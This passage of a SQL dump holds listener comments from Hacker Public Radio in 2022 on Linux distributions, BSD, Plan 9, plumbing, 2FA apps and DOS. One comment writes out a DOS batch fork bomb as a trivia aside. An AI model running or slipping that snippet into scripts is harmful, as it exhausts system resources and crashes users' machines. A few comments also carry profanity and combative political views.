(3447,3599,'2022-05-19 16:57:26','brian-in-ohio','what????','This guy doesn\'t use slackware? How can he have a user perspective. You should interview Klaatu or Zen Floater to get a user perspective on slackware. Listen to the previous hpr by the afore mentioned Zen Floater on the alive and well Slackware 15. One last thing, dependency management is availble if you use slackbuilds to add third party software, you must add the dependencies yourself listen to gnuworldorder for a better explanation. These guys need to listen to hpr not just use it as no cost place to host their mediocre content.','2022-05-19 20:47:04'),
(3448,3598,'2022-05-19 16:59:04','brian-in-ohio','great show','Another great show! How about a podcast on how and what you listen to on internet radio streams. Keep up the good work!','2022-05-19 20:47:05'),
(3449,3594,'2022-05-19 17:00:50','brian-in-ohio','great show','Glad to hear you guys ar \"Still Game\". Trying to picture which  one of you is Jack and  which one is Victor. Love the banter. Keep it up','2022-05-19 20:47:05'),
(3450,3586,'2022-05-19 17:01:56','brian-in-ohio','jinx','You spoke to soon about the mailing list being quiet! ;-)','2022-05-19 20:47:05'),
(3451,3594,'2022-05-20 09:50:19','Beeza','Pascal','You discussed Borland Pascal, which was marketed as \"Delphi\". You may be interested to know that it lives on, well sort of, in the Lazarus IDE which is backwardly compatible with Delphi code. It\'s still under very active development. Take at look at their website.\r\n\r\nI believe the default language on VAX hardware - in as much as there was one - was Fortran rather than Pascal. I rather enjoyed my years using VAX clusters. They were rock solid reliable in my experience, and I\'ll never forget the bookcases full of those huge orange folders containing the printed manuals.','2022-05-20 18:47:10'),
(3452,3594,'2022-05-20 19:04:44','Dave','Thanks Brian','Glad you enjoyed the show.\r\n\r\nWe both have fun doing these and are delighted that there\'s an audience that gets pleasure from them as well!','2022-05-20 19:28:14'),
(3453,3594,'2022-05-20 19:26:50','Dave Morriss','Regarding Pascal','Hi Beeza,\r\n\r\nI have tinkered with Lazarus a long time ago, and actually wrote a simple program to query a PostgreSQL database. I keep meaning to get deeper into it but haven\'t yet.\r\n\r\nI\'m surprised to hear that VAX Fortran was the recommended language. We took delivery of a two node cluster (both 8700\'s I think) in 1987. This came with a fair bit of training in Reading and West Gorton (in Manchester), and we had some consultancy available to us to get us started doing the stuff we needed to do. The cluster came with VAX/VMS version 4.x I think.\r\n\r\nOne of the consultants recommended DEC Pascal for our system-level projects, and wrote us some example code to get us up and running. That\'s where I got the impression that Pascal was their most complete language at the time (other than low level stuff like BLISS, which we hadn\'t bought). We did use Fortran too, and I drew the short straw and ended up teaching it to various students - we ran service courses in the early days.\r\n\r\nJust as an aside, one of the then Digital consultants lives a few doors away from me. I have tried to get him to record a chat with me about the DEC times, but I haven\'t convinced him yet!\r\n\r\nAh, the manuals! I remember someone telling me \"Dave, your manuals have arrived\", and I went to the loading bay to find an entire pallet of them waiting there! They were really good though.','2022-05-20 19:28:15'),
(3454,3598,'2022-05-21 04:14:28','Windigo','Intrigued about slackware','I\'ve never used Slackware, but have often heard about it. I have a 32-bit Dell Mini 9 that may be doing some distro-hopping soon.\r\n\r\nAlso, you mentioned that you had proprietary wireless cards that required a Windows driver with a software that adapted it to be usable in Linux... could you be thinking of ndiswrapper ( https://wiki.debian.org/NdisWrapper )? I remember using it back in the day, but it looks like it only supports drivers up to Windows XP.\r\n\r\nEither way, thanks for the interesting episode!','2022-05-21 18:01:58'),
(3455,3602,'2022-05-24 19:15:51','Windigo','The best kind of correct','Your story about erasing &amp; restoring partition table information was the perfect cherry on top of this episode. An excellent example of being \"technically correct\"!\r\n\r\nThanks for the episode, these are always quite entertaining.','2022-05-24 20:19:48'),
(3456,3604,'2022-05-26 01:37:40','Lurking Prion','Made my heart happy!','I started out as an MM in the Navy and this episode was right up my alley! Many days playing with industrial and residential \"plumbing\" and more than my fair share of playing with a torch (\"no it isn\'t really on fire\"...yet). \r\n\r\nPEX is awesome and it makes life a lot better and extra manifolds are a necessity if you plan on doing any substantial upgrades (bathroom) in the future. Thank you and I look forward to hearing more!','2022-05-26 18:58:50'),
(3457,3605,'2022-05-27 14:41:34','Trey','Great show','Thanks for sharing your experience.   I have similarly aged ThinkPad hardware which I still use','2022-05-27 19:14:01'),
(3458,3608,'2022-06-01 15:11:05','Stache_AF','The Eggcorn That Gets Me','The one that always gets me when people use it is chomping at the bit, as opposed to what it originally was; champing at the bit. While chomping isn\'t technically incorrect, it\'s not as descriptive in my book.','2022-06-01 20:32:52'),
(3459,3606,'2022-06-01 20:31:21','Kevin O\'Brien','Not like me','At the end of each show a lady with a lovely voice says that the episode was made \"by a listener like you.\" Today\'s episode definitively disproves that because it was clearly made by someone not at all like me.','2022-06-01 20:32:52'),
(3460,3608,'2022-06-01 21:33:16','Windigo','Eggcorns','I love that the TTS engine pronounced it \"ichcorns\" to add to the confusion. :)','2022-06-01 21:42:09'),
(3461,3608,'2022-06-01 22:05:25','Dave Morriss','Champing and chomping','Hi Stache_AF,\r\nI was taught that the expression used \'champing\' (where \'champ\' rhymes with \'ramp\' in British English), and that it was describing a horse grinding its teeth on the bit in its mouth in frustration.\r\n\r\nResearching a little I find \'champ\' is specific to livestock (mostly horses I think) and describes noisy chewing of fodder.','2022-06-01 22:06:55'),
(3462,3608,'2022-06-01 22:50:44','Dave Morriss','A robot did it and ran away','Hi Windigo,\r\n\r\nThis shows that the word \'eggcorn\' must have originated from some robot with a slightly bent TTS.\r\n\r\nThe robot in my head says: \"By the itching of its corn, the TTS makes me forlorn\". I\'m glad I didn\'t share that though...\r\n','2022-06-01 15:55:25'),
(3463,3613,'2022-06-08 20:44:54','Windigo','Adirondack chairs','Funny enough, I grew up at the South end of the Adirondack mountains in New York. I helped do some IT work for our County\'s health facility / retirement home, which had been a tuberculosis hospital previously. I had no idea the chairs were associated with tuberculosis treatment!\r\n\r\nIt\'s bizarre that shipping wooden chairs half way around the world makes more economic sense than building them locally, but I commend you for trying to prevent extra waste.\r\n\r\nThanks for the episode!','2022-06-08 20:59:58'),
(3464,3613,'2022-06-08 22:06:30','dnt','Re: Adirondack chairs','Yeah, it has to be that somehow it makes economic sense to them, but perhaps only if you don\'t account for that borne by future generations, and underpaid Vietnamese workers! Honestly, if they had mentioned the option would involve an around-the-world shipment, I would have tried to either repair it or make a replacement part myself. But how naive of me to think this was gonna play out any different. Thanks for listening and commenting!','2022-06-08 22:09:16'),
(3465,3615,'2022-06-10 21:28:33','Windigo','Disappointing','I\'m disappointed to hear that someone took it upon themselves to deliberately waste the time and resources of the volunteers that keep HPR running. If anything, this episode has highlighted just how upstanding all of you are.\r\n\r\nThank you to all the janitors, and our host, for keeping things running!','2022-06-11 18:48:44'),
(3466,3615,'2022-06-12 15:08:58','FXB','A Troll is a Troll.','Ken, Dave et al continue to do a stellar job keeping HPR in good order and making it a shining example of cooperation and information sharing amongst several intersecting communities.\r\n\r\nI do however have to stress, there is nothing whatsoever constructive in the motives of whoever submitted the shows in question as the topic of this show.\r\n\r\nIf what I\'m gathering from this show (and I could be wrong) is the issue making the shows submitted problematic both ethically and potentially even legally for HPR and its volunteer staff, the person(s) submitting such content are in no way shape or form a Gadfly as they appear to have claimed.\r\n\r\nThey are. Just. A Troll.\r\n\r\nThe term Gadfly, used in the intended context, is very specific.\r\n\r\nA Gadfly is someone who asks potentially upsetting questions, usually to authorities, at THEIR OWN risk, in the pursuit of truth.\r\n\r\nAttempting to put others (I.E. the HPR staff) at risk by using them as a platform to spread what is essentially hate speech, be it in seriousness or just to cause upset, is just trolling.\r\n\r\nNothing more, nothing less.\r\n\r\nKen and Dave are (rightfully) careful in how they discuss the situation, and I do believe, in so far as HPR show output is concerned, they have taken the right approach.\r\n\r\nWell done.','2022-06-12 18:37:35'),
(3467,3615,'2022-06-13 19:05:56','Mechatroniac','fucking bullshit','The things I posted were matters of opinion but sure, I\'m evil and engaged in hate speech to destroy the platform... OK maaaan.  There was no hate speech in anything I posted and you know it.','2022-06-14 19:23:29'),
(3468,3617,'2022-06-14 19:21:52','Stache_AF','Google Authenticator','It\'s probably been a while since you\'ve used Google Authenticator for 2FA, but the app now does allow for transferring between devices. Still don\'t have a backup option that I have found, but at least now you can move the rotating keys between devices. Also, a recent update obfuscates all the codes until they are tapped so if someone is peeking over your shoulder, they can\'t see all of the codes, just the one being used','2022-06-14 19:23:29'),
(3469,3617,'2022-06-15 15:08:00','Lurking Prion','Google Authenticator Improvements','It\'s good to see that improvements have been made. I really liked Google Authenticator when it came out. I\'m hoping this space will see improvements as the migration to passphrases becomes more ubiquitous. On the flip side, Google doesn\'t make money off authenticator... Thank you again for the feedback. It is greatly appreciated!','2022-06-15 18:32:31'),
(3470,3620,'2022-06-18 08:38:00','Some Guy On The Internet','Great Show','Love the Show.  I\'ll have to use your directory structure for my photo management. I\'m very paranoid about editing the only copy of an image then losing the original image in the process (GIMP = Scary Edit).  Thanks again.','2022-06-18 19:16:45'),
(3471,3617,'2022-06-18 08:47:05','Some Guy On The Internet','I agree.','I use many of the tips mentioned in your show.  My goal is simple when It comes to security, \"avoid being the low hanging fruit\".  I disagree with telling others security doesn\'t exist.  We should encourage others to explore the realm of security then apply as many layers as they feel comfortable/possible (and yes I know, you\'ve also suggested this point).  Great shows, Keep\'em coming.','2022-06-18 19:16:45'),
(3472,3620,'2022-06-18 21:33:24','Kevin O\'Brien','Glad I could help','I\'m happy to see that my methods are of some use to others. I\'m working on some more material for 2023 on photos and editing.','2022-06-18 21:34:56'),
(3473,3619,'2022-06-22 01:47:39','Sarah','Hello!','Great show as always.\r\nIt would be fun to collaborate one of these days!\r\n\r\nAnd yes, lol, I did let my show remain labelled explicit when there was probably no swearing, but I never know what offends folks. I don\'t consider \"damn\"  or \"hell\" swear words, but many folks do and since I normally swear like a sailor, I thought better safe than sorry. ;-)','2022-06-22 19:23:46'),
(3474,3617,'2022-06-22 04:26:07','LurkingPrion','No Security..?','Thank you for the feedback. I struggled with this for a while before deciding to just shatter the myth of security. While I agree in principle that we shouldn\'t tell people that security doesn\'t exist, it is always predicated on the basis that we should implement the security controls that we are comfortable with. It is really risk analysis, not security. ;-)','2022-06-22 19:23:46'),
(3475,3609,'2022-06-22 19:05:21','Mechatroniac','Unite Germany and Russia','Russia and Germany would be a powerhouse.  To hell with NATO .. Afghanistan, Iraq, Libya... how many more victims are there going to be, while the cowardly and evil west goes along with it?','2022-06-22 19:23:46'),
(3476,3621,'2022-06-22 19:19:07','Mechatroniac','Youtube is no good anymore','While there are lots of great tech channels, there is no way to get organic engagement there anymore, the age of the viral youtube video is dead and the selection will steadily get worse as people use other platforms that value free speech and authenticity.  \r\n\r\nAt least link the invidious alts like yewtu.be so you don\'t give those imperialist scum any revenue, comrade!','2022-06-22 19:23:46'),
(3477,3621,'2022-06-23 01:01:19','Mechatroniac','Mr Teslonian','Mr Teslonian is a great tech channel that not too many know about.  I didn\'t realize it was possible to get gasoline from wood, until he demonstrated his gasifiers.  He also does crazy stuff like building a powered exo-suit out of an old wheelchair.  Definitely a post apocalyptic kind of channel.  \r\n\r\nhttps://yewtu.be/channel/UCVP1PTBbRGpmTQE1oQx8xNw','2022-06-23 18:40:05'),
(3478,3649,'2022-06-24 06:43:48','Ken Fallon','response show','I recorded a response show to this one\r\nhttps://hackerpublicradio.org/eps.php?id=3648\r\n\r\nYou can find a transcript of the show here\r\nhttps://hackerpublicradio.org/eps/hpr3648/index.html','2022-06-25 22:26:11'),
(3479,3625,'2022-06-25 03:17:08','dnt','shift','Thanks for this, Carl! Couldn\'t imagine a better host! You are exactly right about the reason to talk about shift: you see it in scripts out there and it can be quite hard to glean what it does if you don\'t already know it. I also thank you for the observation on the word shift, which I actually hadn\'t noticed! The name of that script was myshifts.sh, so it\'s impossible to tell if it refers to the repeated running of the shift command or to the resulting calendar events. I like it!','2022-06-25 22:26:12'),
(3480,3624,'2022-06-25 23:59:25','b-yeezi','Unexpected relevance','When this series began, I listened to your episodes kindly and patiently, as one would listen to a child or elderly person - mostly out of respect of the host. I now find myself in the middle of a bathroom remodel in a house riddled with PEX! As you can imagine, my interest has spiked in this topic. \r\n\r\nThanks for sharing your knowledge and experience.','2022-06-26 19:45:26'),
(3481,3617,'2022-06-26 04:01:35','one_of_spoons','Two factor authentication : \"andOTP\"','You can back up these \"Time-based One Time Password\" function instances.\r\nThe program called \"andOTP\" has been ready since 2018. \r\nAlso supports OpenPGP backups, encrypted backups, and database encryption.\r\nWill also show the \'secret\' string for transfer to KeePass variants... then you can copy and paste the result of the [RFC 6238] algorithm from a password manager.\r\nAvailable at Fdroid, and the dreaded Google Play Store.','2022-06-26 19:45:26'),
(3482,3625,'2022-06-27 11:23:40','Carl','Thanks','Thanks for the comment and the contribution to the show dnt, you and klaatu really helped me get something out the door. My timing was off as usual as I should have had my recording process figured out beforehand but I\'ll improve it before the next show. The work/shift example was perfect!','2022-06-27 19:27:53'),
(3483,3531,'2022-06-30 15:08:04','Ken Fallon','Excellent !','Thanks.\r\n\r\nUsed this today. A massive improvement on synergy','2022-07-01 17:40:42'),
(3484,3630,'2022-07-05 11:29:46','brian-in-ohio','enjoyed the show','I enjoyed the show. I hope you\'ll put some pictures of your camper in future episodes. Also, I wonder if you might try some open source tools in future trips, side by side to see how they compare to google\'s offerimgs.','2022-07-05 20:58:50'),
(3485,3627,'2022-07-06 14:54:23','operat0r','Installer Changed ...','Because you can\'t install Onlykey without local admin ... not even set __COMPAT_LAYER=RUNASINVOKER  works ...\r\n\r\nhttps://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/OnlyKey_Installer.bat\r\n\r\n\r\n-&lt;3 RMcCurdy.com','2022-07-06 21:02:52'),
(3486,3630,'2022-07-06 22:00:41','Kevin O\'Brien','Photos','I\'m glad you enjoyed it Brian. The first few episodes are about my planning process, and there are no photos involved other than screen shots on the accompanying Web page, which is always linked in the show notes. In later episodes where I talk about the trip itself, the accompanying Web page will also have links to photos on my Flickr account.\r\n\r\nSo far I have not encountered any open-source apps for RV trip planning. They may be out there and I just haven\'t found them yet.','2022-07-06 22:05:06'),
(3487,3632,'2022-07-08 15:37:29','Some Guy On The Internet','Thank you','I&rsquo;ve wanted to learn how to web scrape because a government regulation I need is posted online but if you want an offline copy they force you to purchase a physical book from a third party rather purchase a digital copy (epub/pdf). The regulation changes often and you have to purchase the entire book rather than just the changes. I&rsquo;m going to brick a Pi a few times to learn web scraping then generate my own digital copy.  Thanks again.','2022-07-08 17:43:07'),
(3488,3643,'2022-07-08 17:32:51','Archer72','First show','That was a good first show.  I would like to hear more about C programming, which I know nothing about.   Also I think you will have another friend here who likes the BSD\'s.  Audio was just fine, keep it up. :)','2022-07-08 17:43:07'),
(3489,3634,'2022-07-09 15:26:00','dnt','a hacker\'s plumbing system','This was a great series, thanks for putting it together! This episode in particular I think will be a reference over the years, with all the tips to not ruin your own day.','2022-07-09 18:03:59'),
(3490,3226,'2022-07-09 15:45:04','dnt','the urgency','I saw your more recent episode and was reminded of this one. I had heard of Taskwarrior many times. In this show, you explained how you can set weights for different attributes, out of which the urgency score is calculated. By that, you can sort your mess of things you wish you would do. That proved too irresistible to my little brain. It really is one of the things that set it apart. Having succumbed, via vendor lock-in at work, to a less free and more convenient option, I am not using Taskwarrior anymore, but I did for a good while and I think it is the most impressive to-do list application out there. So, thanks for this show!','2022-07-09 18:03:59'),
(3492,3637,'2022-07-20 13:18:59','Ken Fallon','Daily Database Dump in SQL Format','https://hackerpublicradio.org/hpr.sql','2022-07-20 18:05:02'),
(3493,3643,'2022-07-20 14:30:17','norrist','Plan9','Some interesting future shows.  Hopefully you can do a show on you experience with Plan9','2022-07-20 18:05:02'),
(3494,3643,'2022-07-20 17:43:17','Dave Morriss','An excellent first show','I enjoyed this a lot. It sounded really good and had a lot of interesting content.\r\n\r\nI\'d like to hear more about modern BSD. I used to use proprietary Unixes based on BSD back in the day:\r\n\r\n- SunOS on Suns - a little\r\n\r\n- DEC Ultrix on DEC MIPs systems (DECstation, DECserver) - daily for several years\r\n\r\n- OSF/1 AXP and later Tru64 UNIX on DEC Alphas - a little\r\n\r\nThen I moved to Linux at work and at home, so I\'m out of touch with the way BSD has developed.','2022-07-20 18:05:02'),
(3495,3642,'2022-07-20 20:14:35','Kevin O\'Brien','Great show','I hope you guys do more shows together, this was a lot of fun. And thanks for the shout-out. But did you record this a long time ago? You mentioned shows I did back in 2019 and 2020.','2022-07-20 20:21:53'),
(3496,3644,'2022-07-21 12:58:52','Trey','Welcome!','This pinball repair project sounds like so much fun.  Thank you for sharing your experience.  I am looking forward to your next podcast.\r\n\r\nAlso, please do not worry about your pronunciation of English words.  It was easy to understand everything you said, and I listen at 1.5x speed.\r\n\r\nWelcome!','2022-07-21 20:47:07'),
(3497,3661,'2022-07-24 12:14:01','Archer72','Left out a show note','KMagnifier was the tool I mentioned in the show, also known as kmag.','2022-07-24 19:48:45'),
(3498,3643,'2022-07-24 12:55:48','brian-in-ohio','future show','I vote plan9','2022-07-24 19:48:45'),
(3499,3644,'2022-07-24 12:58:11','brian-in-ohio','soundscape','you could do a show recording the sound playing the pinball machine. eliminates the no time to do a show problem, i assume you have time to play ;-)','2022-07-24 19:48:45'),
(3500,3648,'2022-07-27 13:57:02','LongTimeLurker','Known Unknowns','This is fascinating Ken and, as you allude to, it is impossible to factor in people like me who delete some HPR episodes without listening to them.\r\n\r\nAnything by Klaatu=instant listen, anything by Linux Inlaws=instant delete.\r\n\r\nThe beauty of HPR is the broad selection and unpredictability. I think the spirit of HPR would be destroyed if it became a podcast distribution service for podcasts looking to exploit HPR\'s ready-made audience.','2022-07-27 18:04:16'),
(3501,3648,'2022-07-28 08:57:40','E-/-y','Only the Interviews','I only listen to the Interviews. Not sure how Ken is going to factor that into the calculations ;-)','2022-07-28 19:16:44'),
(3502,3651,'2022-08-01 19:52:44','Mike Ray','API','I would use an API if there was one.\r\n\r\nI have not published a show in years, despite having a lot of subjects to talk about.\r\n\r\nI posted the last one before the FTP option went away. For some reason I have an aversion to fighting with what I see as a complex number of steps necessary to publish a show. Especially as I would never publish a show without complex notes.\r\n\r\nAnd I would enjoy writing a client for the API. Probably in Perl. Since Perl is the best computer programming language ever invented.','2022-08-01 20:14:11'),
(3503,3655,'2022-08-05 11:15:34','ClaudioM','Excellent Breakdown of BSD!','Great coverage of BSD and its descendants! Thoroughly enjoyed it! Well done!\r\n\r\nI had a different comment planned which went a bit long (I, too, tend to ramble a bit, lol), so as Ken advises, I\'ve decided to make it a personal response to this show which I\'ll upload soon. I\'m overdue for a show anyway. :-D','2022-08-05 19:18:17'),
(3504,3655,'2022-08-05 19:56:26','norrist','why I use OpenBSD and FreeBSD','My Favorite BSD is OpenBSD - for all the reasons you described.\r\nI use OpenBSD in by home router because of the projects focus on security.  I also have a Thinkpad mostly runs linux, but I also dual boot OpenBSD current.\r\n\r\nI use FreeBSD on my home server for jails (managed with Iocage) and ZFS.','2022-08-05 19:58:44'),
(3505,3655,'2022-08-07 03:20:19','Phoenix','Suggestion','Great video. It would be amazing if you create a C programming series','2022-08-07 19:25:21'),
(3506,3643,'2022-08-08 02:08:42','Shawn','Key bindings','You can remap your ctrl and alt keys using udev hwdb, e.g., interchanging ctrl and caps keys\r\nhttps://wiki.archlinux.org/title/Map_scancodes_to_keycodes#Example_for_custom_hwdb\r\nAnd you can use ctrl + [ to send an escape character','2022-08-08 18:27:28'),
(3507,3658,'2022-08-10 07:42:56','Twinn','Painful','That was painful to listen to and provided zero value.\r\n\r\nHow do we get Linux Inlaws kickedoff HPR?','2022-08-10 19:54:46'),
(3508,3648,'2022-08-10 12:39:47','folky','Known Unknowns 2.0','I\'m doing precisely like @LongTimeLurker. So, you clearly can\'t count the downloads as listeners. My podcatcher is downloading all HPR-shows and I\'m deciding afterwards if I want to listen. Surprise, in the case of Linux Inlaws I delete it  without listening as soon as I see it\'s one of those. Can\'t quite say why, but after two of their shows I had enough. It\'s just not my taste,','2022-08-10 19:54:46'),
(3509,3666,'2022-08-11 15:43:24','Ken Fallon','enthusiasm and willingness to learn','As someone who interviewed it\'s amazing the hoops you will go to with HR to hire someone with enthusiasm and willingness to learn.','2022-08-11 20:28:17'),
(3510,3655,'2022-08-11 15:58:40','Kevin O\'Brien','I loved the show','Fantatic show, and great show notes. I hope we get more from you.','2022-08-11 20:28:17'),
(3511,3651,'2022-08-11 16:01:46','Kevin O\'Brien','High Winds','We didn\'t have much problem with winds for two reasons. First, when you drive more slowly there is less chance for wind to blow oyu around. Second, our truck is bigger than a pickup. It is a Freightliner Sport Chassis.','2022-08-11 20:28:17'),
(3512,3629,'2022-08-12 11:33:15','Aaron','Excellent interview','What an excellent interview. I\'m a big fan of Mozilla and Firefox, and it was fascinating to hear what Eric had to say. Thank you!','2022-08-13 11:26:27'),
(3513,3606,'2022-08-12 12:30:10','Ken Fallon','You see','5 panels from SMBC\r\n\r\n\r\n\r\n\r\n\r\nWoman: GOD...Is Math Real\r\nGOD: What\'s math\r\nWoman: You know like One plus One Equals two\r\nGOD: One of what ?\r\nWoman: Just...yoou know...one.\r\nGOD: The FUCK are you talking about.\r\nGOD: You can\'t have one. One is a description. it\'s like saying \"I have a spotted\" instead of \"I have a spotted cow\" or \"I have a spotted dog\"\r\nWoman: I guess infinites are right out the window, then.\r\nGOD: What is *going on* down there ?','2022-08-13 11:26:27'),
(3514,3665,'2022-08-12 12:45:40','Ken Fallon','File extensions are valid','Relying on them is not a good idea, but using them is fine. It also fits right in with other \"conventions\" such as location of local and system binary files.\r\n\r\nRelying on the system to determine file type is slow\r\n\r\n[me@pc a_lot_of_files]$ time ls -- * &gt;/dev/null\r\nreal    0m0.060s\r\nuser    0m0.045s\r\nsys     0m0.011s\r\n\r\n[me@pc a_lot_of_files]$ time file -- * &gt;/dev/null\r\nreal    2m0.629s\r\nuser    0m7.613s\r\nsys     0m2.876s\r\n\r\nFurthermore they help in giving a rough idea of what to expect. This is useful when searching \"some python file which I downloaded yesterday\", would limit modified time to just \".py\" files.\r\n\r\nDon\'t throw the baby out with the bathwater.','2022-08-13 11:26:27'),
(3515,3657,'2022-08-13 14:59:03','Lurking Prion','Thank you!','Thanks for the shout out. Thank you for sharing how you maintain your system. The sent folder is well worth backing up! Keep up the good work, I enjoy your shows and look forward to hearing more.','2022-08-13 18:47:07'),
(3516,3657,'2022-08-13 21:23:51','Kevin O\'Brien','Thank you','Thanks for the shout out. I think all of us share our information to help each other. And I love your shows.','2022-08-13 22:42:25'),
(3517,3660,'2022-08-18 08:06:07','Beeza','BASIC lives on','I think it is a real pity that Basic is not taken seriously by more developers. I agree that in its early days it was, well, \"basic\", but it evolved into a very powerful development platform in the guise of Visual Basic. Productivity was far higher than with Visual C++, and for what few low level functions it could not support you could always create a DLL using C/C++ and pull that in from VB.\r\n\r\nOn Linux we still have Gambas, which is easily the fastest way to create a Linux GUI application. It is very similar to VB, and its flavour of Basic takes the language to a level beyond even VB. For projects where I have complete freedom of choice I use nothing else. It runs faster than python and, for GUI apps, it\'s far simpler and more productive.','2022-08-18 20:07:20'),
(3518,3665,'2022-08-19 01:39:05','hipernike','Bind mount','Hi binrc. Actually bind mounts are very useful for chroots, e.g, you can have the same dev directory as your actual os.\r\n\r\nBTW, it would be interesting to hear an openbsd podcast from you.','2022-08-19 19:08:22'),
(3519,3660,'2022-08-20 03:36:17','Some Guy On The Internet','Visual Basic 6.0 for the Win.','How many of you used yahoo messenger during the Win98 era? I remember these software handguns called \"Booters\".  They were created using VB and everyone had one. It was the wild west on the internet and lots of feelings where hurt followed by the BSOD.  Good Times!','2022-08-20 18:13:07'),
(3520,3659,'2022-08-20 03:52:04','Some Guy On The Internet','More Magic.','I don\'t know how you guys remember all these languages.  I have to jump into the man pages for almost everything.  Is Perl one of your daily languages and is it better for data bases than python? Great show.','2022-08-20 18:13:07'),
(3521,3656,'2022-08-20 03:54:06','Some Guy On The Internet','Love this show.','I love this type of content. The ability to create from thin air whatever you want; even if it\'s not exactly \"in demand\". It always feels like I\'m listening to a mage crafting new magical items just because the other one was out of reach.','2022-08-20 18:13:07'),
(3522,3658,'2022-08-20 04:07:15','Some Guy On The Internet','I have more listeners than stars in the Universe.','I got a great laugh from this show. \"More listeners than people in the galaxy\", LOL.  That\'s the first time I\'ve ever heard Martin clearly (his audio is usually too low for me to hear). Playing the Ken sound bite was a nice touch as well. Good stuff.','2022-08-20 18:13:07'),
(3523,3665,'2022-08-20 04:17:36','Some Guy On The Internet','I like file extensions','What Ken said.  Also, when viewing files ( ex. # vim ~/markdownfile.md) the file extension enables text highlighting.  Otherwise we\'d have to read markdown like animals.','2022-08-20 18:13:07'),
(3524,3665,'2022-08-20 17:38:13','one-of-spoons','Free revision.','Thanks for this episode. Reminded me of so many things. Twelve years since I studied this stuff for a lot of weeks, relating to Solaris. During those studies I repeatedly wondered \r\n\"So what ?!....the foot bone is connected to the leg bone.\".\r\nNever-the-less, sometimes it pays to recognise one\'s available environment.\r\nYou stimulated my brain through a good chunk of dull work.\r\nI would listen to this one again one day.','2022-08-20 18:13:07'),
(3525,3664,'2022-08-25 16:55:58','one_of_spoons','serious talking','Good to hear someone reminding others that some thin metal foil can go a long way when folded correctly.\r\nScarey biscuits aside, I do occaisionally  hold up a sheet of aluminium foil between myself and a rescued microwave oven. The scintillations will show up better in the dark, by which sparks and holes might also be revealed.','2022-08-25 23:01:39'),
(3526,3666,'2022-08-27 03:48:19','Lurking Prion','Rare Gems, indeed!','I was always lucky enough enough to be on really good terms with HR. I am of the firm belief that you should know the people in HR and Legal on a first name basis. Bacon saved. ;-)','2022-08-27 21:45:22'),
(3527,3671,'2022-08-30 01:38:48','alan86','Feedback','Yeah, openbsd is great. \r\nGood episode, I have not heard before about Evoo laptops, it would be nice to hear more about\'em','2022-08-30 19:59:30'),
(3528,3663,'2022-08-31 02:27:40','dnt','Welcome!','Great show! The command.com story with shout-out to Ahuka was very well received. Looking forward to more!','2022-09-01 08:50:22'),
(3529,3740,'2022-09-01 02:29:02','Hipernike','Forkbomb','Thank you very much Ahuka for this interesting serie. I really enjoyed learning about this old OS.\r\n\r\nAlso I wanted to add that you can use call command to create a forkbomb, using a file like this:\r\n@echo off\r\n:top\r\ncall %0\r\ngoto top','2022-09-01 18:25:41'),
(3530,3740,'2022-09-01 19:50:13','Kevin O\'Brien','You are most welcome','I\'m glad you liked it. It sems that people enjoy this series for the most part.','2022-09-01 20:27:14'),
(3531,3662,'2022-09-02 08:17:19','Ken Fallon','Thanks To:','Thanks To:\r\n\r\n- Mumble Server: Delwin\r\n- HPR Site/VPS: Joshua Knapp - AnHonestHost.com\r\n- Streams: Honkeymagoo\r\n- EtherPad: HonkeyMagoo\r\n- Shownotes: HPLovecraft','2022-09-02 18:52:24'),
(3532,3667,'2022-09-02 08:17:39','Ken Fallon','Thanks To:','Thanks To:\r\n\r\n- Mumble Server: Delwin\r\n- HPR Site/VPS: Joshua Knapp - AnHonestHost.com\r\n- Streams: Honkeymagoo\r\n- EtherPad: HonkeyMagoo\r\n- Shownotes: HPLovecraft','2022-09-02 18:52:24'),
(3533,3672,'2022-09-02 08:18:20','Ken Fallon','Thanks To:','Thanks To:\r\n\r\n- Mumble Server: Delwin\r\n- HPR Site/VPS: Joshua Knapp - AnHonestHost.com\r\n- Streams: Honkeymagoo\r\n- EtherPad: HonkeyMagoo\r\n- Shownotes: HPLovecraft','2022-09-02 18:52:24'),
(3534,3677,'2022-09-02 08:19:01','Ken Fallon','Thanks To:','Thanks To:\r\n\r\n- Mumble Server: Delwin\r\n- HPR Site/VPS: Joshua Knapp - AnHonestHost.com\r\n- Streams: Honkeymagoo\r\n- EtherPad: HonkeyMagoo\r\n- Shownotes: HPLovecraft','2022-09-02 18:52:24'),
(3535,3682,'2022-09-02 08:19:27','Ken Fallon','Thanks To:','Thanks To:\r\n\r\n- Mumble Server: Delwin\r\n- HPR Site/VPS: Joshua Knapp - AnHonestHost.com\r\n- Streams: Honkeymagoo\r\n- EtherPad: HonkeyMagoo\r\n- Shownotes: HPLovecraft','2022-09-02 18:52:24'),
(3536,3687,'2022-09-02 08:19:57','Ken Fallon','Thanks To:','Thanks To:\r\n\r\n- Mumble Server: Delwin\r\n- HPR Site/VPS: Joshua Knapp - AnHonestHost.com\r\n- Streams: Honkeymagoo\r\n- EtherPad: HonkeyMagoo\r\n- Shownotes: HPLovecraft','2022-09-02 18:52:24'),
(3537,3675,'2022-09-02 09:34:17','one_of_spoons','Directive gem.','A useful exposition, and inspiration.\r\nPractically a reference piece.','2022-09-02 18:52:25'),
(3538,3675,'2022-09-02 12:03:25','ClaudioM','plan9 / 9p','Great episode from binrc, and bonus points for explaining where his handle came from. :-)\r\n\r\nI\'d always been curious about plan9. I remember tinkering with Inferno back in the day (late 90s, early 2000s) and it was quite intriguing. Since then, I never really touched it, but had been curious about it. However, after hearing this episode, I feel that it might be relegated to the curiosity one would have for TempleOS. Intriguing to mess with it, but that\'s about it.\r\n\r\nAnyway, for those interested, SDF has bootcamps on learning plan9. More information here: https://sdf.org/plan9/','2022-09-02 18:52:25'),
(3539,3675,'2022-09-02 14:56:24','norrist','In-Depth Series: Learning Awk','You mentioned wanting to learn Awk -  this series is some of the best content on HPR.  Brace yourself for a deep dive by Dave Morris and b-yeezi\r\n\r\nhttp://hackerpublicradio.org/series.php?id=94','2022-09-02 18:52:25'),
(3540,3675,'2022-09-03 18:48:43','will','come back to plan9','will from thinktankworkspaces\r\n\r\nCome back to plan9 and try to stay. Its always a learning curve even for me. I started to make better progress when I decided to build a server on linode and really use it. Werc was a dream come true and it simplified all the bs that exists in other heavily bloated CMF systems. JS is garbage but it\'s not going away. Glad we have netsurf but I still mostly use mothra. If you stay in plan9 things to get easier over time.\r\n\r\nupas, nupas was a struggle but i\'m a better person for leaving gmail. Golang works on my server and helps\r\nbridge that gap when I actually have to work on Linux on my day job. But yes C is the way to go but a ton of stuff is written in rc. Take your pick I guess. \r\n\r\nthanks for putting this together','2022-09-03 19:50:02'),
